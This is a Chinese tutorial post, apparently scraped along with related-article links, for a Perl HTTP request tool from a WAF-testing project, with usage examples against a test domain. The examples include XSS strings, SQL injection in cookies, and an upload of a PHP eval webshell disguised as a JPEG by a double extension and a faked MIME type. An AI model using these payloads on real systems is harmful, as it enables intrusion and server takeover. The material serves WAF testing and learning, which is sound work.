通过HTTP发包工具了解HTTP协议
use URI;
use URI::Split qw(uri_split uri_join);
use URI::Escape;
(2)HTTP协议相关部分:构造请求,发送请求,及解析响应
use LWP::UserAgent;
use HTTP::Headers;
use HTTP::Cookies;
use HTTP::Request::Common;
git clone https://github.com/tanjiti/WAFTest
cpan App::cpanminus
cat requirePackage.txt | cpanm
perl HTTP.pl --help
-help 帮助选项
-url 'http://xxxx.xx.com' HTTP请求的URL
-m|method GET|POST|HEAD HTTP请求方法,默认为GET方法
-H|header X-Forwarded-For='127.0.0.1, 127.0.0.2' -H Via='Squid' HTTP请求头
-cookie usertrack='123456' -b hit=1 HTTP cookie
-d|data name='tanjiti' -d passwd=12345 HTTP 查询字符串/post表单数据
-A|user-agent 'baiduspider' HTTP UserAgent,默认值 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:12.0) Gecko/20100101 Firefox/12.0
-e|referer 'http://www.baidu.com' HTTP Referer
-proxy 'http://64.34.14.28:7808' 代理,支持https,http,socks代理
-t|timeout 180 请求超时时间,默认值180s
-L|redirect 7 重定向次数,默认值7次
-F|fileUpload 表明本次请求为文件上传
-fileFiled 'uploaded' 文件域name
-filePath '/tmp/a.jpeg' 本地文件路径
-fileName 'a.php' 上传文件名
-fileContent '<?php eval($_POST[a]);?>' 上传文件内容
-fileType 'image/jpeg' 上传文件类型
-s|silent : 隐藏http完整内容,只显示http响应消息
-r|raw : 表明采用未进行urlencode编码的方式提交post数据
-basicAuth : 表明此次请求为HTTP基本认证
-username tanjiti 基本认证用户名
-password 12345 基本认证密码
./HTTP.pl -url http://www.tanjiti.com/redirect.php -L 0

./HTTP.pl -url http://www.tanjiti.com/redirect.php -L 1

-username tanjiti 基本认证用户名
-password 12345 基本认证密码
./HTTP.pl -url http://www.tanjiti.com/xxx/

./HTTP.pl -url http://www.tanjiti.com/xxx/ -basicAuth -username tanjiti -password q

./HTTP.pl -url http://www.tanjiti.com/get.php -d keyword='name<script>alert(1)</script>' -d submit='submit'

选项
-d 提交数据
-method 指定HTTP请求方法
-raw 是否进行urlencode编码
(1)提交urlencode编码
./HTTP.pl -url http://www.tanjiti.com/get.php -d keyword='name<script>alert(1)</script>' -d submit='submit' -method post

./HTTP.pl -url http://www.tanjiti.com/get.php -d keyword='name<script>alert(1)</script>' -d submit='submit' -method post -raw

-fileFiled 'uploaded' 文件域name
-filePath '/tmp/a.jpeg' 本地文件路径
-fileName 'a.php' 上传文件名
-fileContent '<?php eval($_POST[a]);?>' 上传文件内容
-fileType 'image/jpeg' 上传文件类型

(1)上传本地文件到服务器
./HTTP.pl -url http://www.tanjiti.com/fileUpload.php -fileUpload -fileFiled uploaded -d upload=upload -filePath "/tmp/phpinfo.php"

上传jpeg图片文件
./HTTP.pl -url http://www.tanjiti.com/fileUpload.php -fileUpload -fileFiled uploaded -d upload=upload -filePath "/tmp/king.jpeg"

./HTTP.pl -url http://www.tanjiti.com/fileUpload.php -fileUpload -fileFiled uploaded -d upload=upload -filePath "/tmp/phpinfo.php" -fileName '1.jpg .php' -fileType 'image/jpeg'

./HTTP.pl -url http://www.tanjiti.com/fileUpload.php -fileUpload -fileFiled uploaded -d upload=upload -fileName 'avator.jpeg' -fileType 'image/jpeg' -fileContent '<?php @eval($_POST[a]);?>'

选项
-cookie
./HTTP.pl -url http://www.tanjiti.com/a.php -cookie username="tanjiti' or ''= '' -- " -cookie password='1 or 1=1 --'

User-Agent 脚本中默认为 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:12.0) Gecko/20100101 Firefox/12.0
Referer 用户是从这个页面上依照链接跳转过来的
Host
Accept 告知服务器发送何种媒体类型,脚本中默认为text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Charset e.g. utf-8 告知服务器发送何种字符集
Accept-Encoding 告知服务器采用何种编码,脚本中默认为gzip,deflate,sdch
Accept-Language 告知服务器采用何种语言,脚本中默认为 zh-CN,zh;q=0.8,en;q=0.6
X_Forwarded_For 经过的客户端IP地址
Via 代理服务器标识
(1) 指定UserAgent
选项
-A 或者-user-agent
./HTTP.pl -url http://www.tanjiti.com -A 'tanjiti'

(2)指定referer
选项
-e 或者-referer
./HTTP.pl -url http://www.tanjiti.com -e 'http://www.google.com'

(3)指定HTTP头
./HTTP.pl -url http://127.0.0.1 -H Accept='*/*' -H Accept-Charset='utf-8' -H Accept-Encoding='identity' -H Accept-Language='zh-CN,zh;q=0.8,en;q=0.6' -H Host='www.tanjiti.com' -H Via='1.0 tanjiit.com(squid 0.54)' -H X-Forwarded-For='129.78.138.66, 129.78.64.103'

./HTTP.pl -url http://www.tanjiti.com -proxy http://61.158.219.226:8118
(2) 使用tor/socks代理
./HTTP.pl -url http://www.tanjiti.com -proxy socks://127.0.0.1:9050
./HTTP.pl -url http://www.tanjiti.com -proxy socks://180.153.139.246:8888
./HTTP.pl -url http://www.tanjiti.com/a.php -s
(2)指定请求超时时间,默认为180s
./HTTP.pl -url http://www.tanjiti.com/ -t 20
四、HTTPFromFile.pl
echo -ne 'GET /?a=%3Cscript%3Ealert(1)%3C/script%3E HTTP/1.1\r\nHost: www.tanjiti.com\r\nUserAgent: curl 0.9\r\n' > xss.t

perl HTTPFromFile.pl -code 403 -host www.tanjiti.com -port 80 -file xss.t

选项说明:
perl HTTPFromFile.pl -host www.tanjiti.com -dir ~/WAFTest/t
-dir 指定存放请求包内容的文件目录

原文地址:http://danqingdani.blog.163.com/blog/static/18609419520144202591392/
通过HTTP发包工具了解HTTP协议的更多相关文章
- 三款经常使用IP发包工具介绍
AntPower 版权全部© 2003 技术文章http://www.antpower.org 第1 页共14 页AntPower-技术文章三款经常使用IP 发包工具介绍小蚁雄心成员郎国军著lgj@q ...
- HTTP发包工具 -HTTPie
原文: https://zm8.sm-tc.cn/?src=l4uLj8XQ0IuekZWWi5bRk5CZi5qN0ZyQktCPkIyL0M6cnMmcx8qdoM7PnMrIyMnI&u ...
- Sendip 命令行发包工具,支持IP、TCP、UDP等
Sendip是一个linux平台的命令行发数据包工具,目前(2018年2月)支持的协议有ipv4.ipv6.icmp.tcp.udp.bgp.rip.ntp,作者表示其他协议将会后面支持,当他有空写的 ...
- charles重复发包工具/repeat
重复发包工具/repeat Charles 让你选择一个请求并重复,在测试后端接口的时候非常有用: Charles将请求重新发送到服务器,并将响应显示为新请求. 如果您进行后端更改并希望测试它们,用了 ...
- 数据包发包工具bittwist
数据包发包工具bittwist 渗透测试中,通过发送特定格式的包,可以实施网络嗅探和攻击.Kali Linux提供一款发包工具bittwist.该工具可以通过指定的网络接口发送数据.该工具不仅可以 ...
- 【发包工具】http多线程发包工具
[发包工具]http多线程发包工具 使用方法:输入地址,发送的内容,线程数,等待时间,每个线程发送的次数,GET/POST请求. 源代码 package com.xmxkkk.httptest; im ...
- xcap发包工具的简单使用1(构造报文)
xcap是一个免费的网络发包工具,可以构造和发送常用的网络报文,如arp,ip,icmp,udp等,支持构造报文和发送报文等. 报文隶属于报文组,每个报文组包含多个报文,因此,创建报文首先要创建报文组 ...
- charles 批量重复请求/重复发包工具
本文参考:charles 批量请求 重复发包工具/repeat Charles 让你选择一个请求并重复,在测试后端接口的时候非常有用: Charles将请求重新发送到服务器,并将响应显示为新请求. 如 ...
- 【测试工具】http协议调试利器fiddler使用教程
转自:http协议调试利器fiddler使用教程http://bbs.phpchina.com/thread-207418-1-1.html Fiddler真乃神器!它和市面上常见的很多web调试器. ...
随机推荐
- HDU 2829 Lawrence(斜率优化DP O(n^2))
题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=2829 题目大意:有一段铁路有n个站,每个站可以往其他站运送粮草,现在要炸掉m条路使得粮草补给最小,粮草 ...
- svn服务器配置以及自动同步到web服务器
感觉再不用svn就真的老了. 安装 yum install subversion 新建repo mkdir -p /opt/svn/myrepo svnadmin create /opt/svn/my ...
- AC日记——严酷的训练 洛谷 P2430
严酷的训练 思路: 背包: 代码: #include <bits/stdc++.h> using namespace std; #define maxn 5005 int n,m,bi[m ...
- http.pieplining
默认情况下http协议中每个传输层连接只能承载一个http请求和响应,然后结束. HTTP是一个简单的协议.客户进程建立一条同服务器进程的 T C P连接,然后发出请求并读取服务器进程的响应.服务器进 ...
- 四川oi 萌萌哒 (分层并查集)
萌萌哒 时间限制: 1 Sec 内存限制: 256 MB提交: 12 解决: 2[提交][状态][讨论版] 题目描述 一个长度为 n 的大数,用 S1S2S3...Sn表示,其中 Si表示数的第 ...
- matlab学习之降噪平滑算法
平滑降噪测试,代码如下 % 平滑降噪 % FFT变换和小波变换 clc clf clear length_of_sig=128; x=linspace(0,2*pi,length_of_sig); % ...
- 【UOJ #171】【WC 2016】挑战NPC
http://uoj.ac/problem/171 带花树开花时的u和v一定要记清楚顺序,想好了再写,数据范围也要算好! 对每个筐子拆成3个点,连成一个三元环,对每个(u,v),让u和v的3个点都连边 ...
- HZAU 1201 Friends(树形DP)
[题目链接] http://acm.hzau.edu.cn/problem.php?id=1201 [题目大意] 给出一棵树,问每个节点距离六个点以内的点有几个 [题解] 定根维护树形DP,Dw[x] ...
- 【费用流】hdu5988 Coding Contest
从源点向每个点连接容量为该点人数,费用为1的边, 把原图中的每条边拆成两条,一条容量为1,费用为1,另一条容量为ci-1,费用为1-pi 从每个点向汇点连接容量为该点面包数量,费用为1的边. 跑的费用 ...
- 20162304 实验二《Java面向对象程序设计》实验报告
20162304 实验二<Java面向对象程序设计>实验报告 实验内容 初步掌握单元测试和TDD 理解并掌握面向对象三要素:封装.继承.多态 初步掌握UML建模 熟悉S.O.L.I.D原则 ...